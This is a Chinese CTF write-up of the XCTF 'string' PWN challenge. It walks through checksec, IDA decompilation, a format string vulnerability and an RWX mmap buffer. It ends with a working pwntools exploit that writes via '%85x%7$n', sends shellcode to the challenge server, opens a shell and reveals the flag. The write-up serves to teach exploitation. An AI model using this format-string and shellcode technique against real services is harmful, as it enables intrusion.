前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】2022年01月 攻防世界-简单题-PWN-003(string)

【愚公系列】2022年01月 攻防世界-简单题-PWN-003(string)

作者头像
愚公搬代码
发布2022-01-21 13:57:27
3970
发布2022-01-21 13:57:27
举报
文章被收录于专栏:历史专栏

文章目录

一、string

题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0

二、答题步骤

1.获取在线场景

2.查壳

对下载文件进行查壳,命令如下

代码语言:javascript
复制
file string
checksec --file=string

分析文件,64位系统,小端程序(LSB),程序开启了:

  • Full RELRO:无法修改got表;
  • Canary found:不能直接用溢出方法覆盖栈中返回地址,要通过改写指针与局部变量、leak canary、overwrite、canary的方法来绕过;
  • NX:意味着栈中数据没有执行权限;PIE未开启,基地址不会变化,为0x400000.

3.IDA

使用IDA对文件进行反汇编

第一步:首先找到main函数

代码语言:javascript
复制
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);//调用了 alarm 函数,并设置了计时为 60s ,也就是说程序会在 60s 后退出,在 repl 中做实验时要注意这一点
  sub_400996(60LL);//调用 sub_400996 ,这个函数主要用于输出
  v4 = malloc(8uLL);//分配了 8 个字节的空间,对低 4 位赋值为 68 ,高四位赋值为 85
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);//将分配的空间的低四位的地址和高四位的地址分别输出
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);//用分配出来的空间的起始地址做参数调用了 sub_400D72
  puts("The End.....Really?");
  return 0LL;
}

第二步:找到sub_400D72函数

代码语言:javascript
复制
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", s);
  if ( strlen(s) <= 0xC )//如果输入的长度大于 12 则回到 main 函数并退出,否则继续按顺序调用三个函数
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6(a1);//使用了 main 中得到的地址
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

第三步:找到sub_400A7D函数

代码语言:javascript
复制
unsigned __int64 sub_400A7D()
{
  char s1[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  while ( 1 )
  {
    _isoc99_scanf("%s", s1);
    if ( !strcmp(s1, "east") || !strcmp(s1, "east") )
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(s1, "east") )
  {
    if ( !strcmp(s1, "up") )
      sub_4009DD();
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}

一直获取输入,直到输入为 east 为止才能进行下一个流程

第四步:找到sub_400BB9函数

函数中发现有格式化字符串漏洞

代码语言:javascript
复制
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )//如果输入的值是 1,那么存在格式化字符串漏洞,目前还看不出它的意义
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

第五步:找到sub_400CA6函数

代码语言:javascript
复制
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )//比较 main 中分配的空间中低四位和高四位的值,如果不相等那么一直 return 至游戏结束
  {
  	//如果相等,那么调用 mmap 分配一块 1000h 大小的空间,其中第三个参数告诉我们,这块空间具有可读可写可执行的权限
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);//获取输入并存储到这片空间中
    ((void (__fastcall *)(_QWORD))v1)(0LL);//强转为函数指针并调用之
  }
  return __readfsqword(0x28u) ^ v3;
}

第六步:写出exp脚本

代码语言:javascript
复制
from pwn import *

p = remote('111.200.241.244', 55647)

p.recvuntil('secret[0] is ')

# 获取第四位的地址,用切片切掉最后的\n,开始的空格在上面的 recvuntil 中
# 获得的数字直接用 int(x, 16) 即可转成十进制整型储存在 addr 中
addr = int(p.recvuntil('\n')[:-1], 16)

p.recvuntil('name be:\n')
p.sendline('Yuren')
p.recvuntil('up?:\n')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline('%85x%7$n')
rec = p.recvuntil('SPELL\n')

context(os='linux', arch='amd64')

p.sendline(asm(shellcraft.sh()))
p.interactive()

kali中执行脚本

得到flag:cyberpeace{62a21e720c2bd9f081bd8861e01afec4}

总结

  • IDA
  • checksec
  • 格式化字符串漏洞
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022/01/18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 一、string
  • 二、答题步骤
    • 1.获取在线场景
      • 2.查壳
        • 3.IDA
        • 总结
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档